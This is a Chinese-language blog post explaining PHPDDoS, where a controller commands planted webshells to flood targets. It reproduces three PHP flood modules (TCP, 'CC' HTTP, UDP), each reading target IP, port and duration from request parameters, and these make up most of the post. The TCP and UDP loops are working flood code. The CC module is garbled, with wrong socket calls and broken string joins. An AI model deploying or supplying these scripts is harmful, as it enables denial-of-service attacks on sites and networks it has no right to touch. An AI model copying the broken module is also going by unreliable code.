PHPDDOS的原理是使用一個主控端批量向被控端(也就是特殊的webshell)發送攻擊命令,方式一般是get或者post,達到統一指揮的目的。而被控端一般使用了php中的sock來進行攻擊,在php越來越流行的今天,這種攻擊必然會越來越流行。
去翻了一下,找到了些代碼,代碼來自phpddos.com,與本站無關。
TCP模組
<?php ini_set("display_errors", "Off"); $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "狀態 : 正常運行中.....<br>"; $max_time = $time+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " SYN Flood 模組<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>"; echo "================================================<br><br>"; echo " 攻擊包總數:<font color=Red><span class=\"text\">".$packets." 個數據包</span><br><br></font>"; echo " 攻擊總流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻擊總位元組:<font color=Red><span class=\"text\">".time('h:i:s')." 位元組</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
CC模組
<?php echo "狀態 : 正常運行中.....<br>"; echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " CC Flood 模組<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>"; echo "================================================<br><br>"; error_reporting(E_ALL); //提示錯誤資訊 set_time_limit(0); //設定一個程式所允許執行的秒數 0 是無限迴圈 ob_implicit_flush(); // 刷新輸出緩衝 $address = $_POST['site']; // 網站地址 $port = $_POST['port']; // 埠 $dongu = $_POST['dongu']; //迴圈次數 $sayi = 1; while ( $sayi <= $dongu ) //變數asyi小於 迴圈次數變數 dongu 才會繼續迴圈 { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "HaHa\n"; } if (socket_bind($sock, $address, $port) === false) { // 連接埠 echo "HaHa\n"; } if (socket_listen($sock, 5) === false) { echo "HaHa\n"; } $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n"; socket_write($msg); socket_close($sock); $sayi++; // 迴圈一次 變數sayi 加1 echo "Goodbye...".$sayi; // 輸出迴圈次數 } ?>
UDP模組
<?php $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "狀態 : 正常運行中.....<br>"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "phpddos"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>"; echo "================================================<br><br>"; echo " 攻擊包總數:<font color=Red><span class=\"text\">".$packets." 個數據包</span><br><br></font>"; echo " 攻擊總流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻擊總位元組:<font color=Red><span class=\"text\">".time('h:i:s')." 位元組</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
Hits: 56
博主能不能给我详细讲解下构造?